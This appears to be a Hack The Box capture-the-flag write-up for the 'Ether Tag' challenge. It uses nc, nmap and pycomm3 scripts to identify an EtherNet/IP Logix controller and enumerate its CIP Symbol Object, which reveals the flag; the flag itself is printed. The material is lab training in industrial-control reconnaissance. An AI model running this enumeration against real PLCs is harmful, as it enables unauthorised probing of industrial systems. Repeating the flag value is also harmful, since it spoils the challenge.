HTB Challenge Write-up: Ether Tag

Challenge Info

Name: Ether Tag
Difficulty: Very Easy
Points: 10
Host: 94.237.61.52:34953
Goal: Retrieve the value of the FLAG tag from an EtherNet/IP controller.

1) Recon / Port Verification

First, confirm the port is reachable. Nmap service detection may show the port as filtered, but a TCP connect confirms it is open.

```
nc -vz 94.237.61.52 34953

nmap -sT -Pn -p 34953 94.237.61.52
```

2) Setup Python Environment (Kali Fix)

Kali blocks system-wide pip installs (PEP 668). Create a virtual environment and install required libraries inside it.

```
sudo apt update
sudo apt install -y python3-venv

python3 -m venv enip
source enip/bin/activate
pip install pycomm3
```

3) Identify the Controller (EtherNet/IP Identity)

Query the CIP Identity object to confirm the device type.

```
from pycomm3 import CIPDriver

TARGET="94.237.61.52"
PORT=34953

with CIPDriver(f"{TARGET}:{PORT}") as d:
    ident = d.generic_message(
        service=0x0E,          # Get_Attribute_Single
        class_code=0x01,       # Identity Object
        instance=1,
        attribute=7            # Product Name
    )
    print("Product Name:", ident.value)
```

Output example:

```
1756-L61/B LOGIX5561
```

4) Tag Read Attempt (Fails)

A standard Logix symbolic read for the tag FLAG fails because the flag is not exposed as a normal Logix controller tag.

```
from pycomm3 import LogixDriver

with LogixDriver("94.237.61.52:34953", init_tags=False, init_program_tags=False) as plc:
    print(plc.read("FLAG"))
```

Output:

```
Tag doesn't exist - FLAG
```

5) Solution: Enumerate CIP Symbol Object (Class 0x6B)

Instead of reading a named tag, enumerate the CIP Symbol Object (class 0x6B) and extract symbol names. The flag is embedded in the symbol name values.

```
from pycomm3 import CIPDriver

HOST = "94.237.61.52"
PORT = 34953

def decode_name(val):
    if isinstance(val, (bytes, bytearray)):
        b = bytes(val)
        # Handle common length-prefixed symbol strings
        if len(b) > 1 and b[0] <= len(b) - 1 and all(32 <= x <= 126 for x in b[1:1+b[0]]):
            return b[1:1+b[0]].decode(errors="ignore")
        return b.decode(errors="ignore")
    return str(val)

with CIPDriver(f"{HOST}:{PORT}") as d:
    for inst in range(1, 100):
        r = d.generic_message(
            service=0x0E,      # Get_Attribute_Single
            class_code=0x6B,   # Symbol Object
            instance=inst,
            attribute=1        # Symbol Name
        )
        if getattr(r, "error", None):
            continue

        name = decode_name(r.value)
        if name:
            print(f"{inst:03d}  {name}")
```

Output example:

```
001  HTB{3th3rn3t1p_pwn3d}
002  HTB{3th3rn3t1p_pwn3d}
003  HTB{3th3rn3t1p_pwn3d}
...
```

Flag

HTB{3th3rn3t1p_pwn3d}

Summary

The EtherNet/IP service was reachable on TCP port 34953. Standard Logix tag reads failed because the flag was not stored as a normal controller tag. Enumerating the CIP Symbol Object (class 0x6B) revealed the flag embedded in symbol names.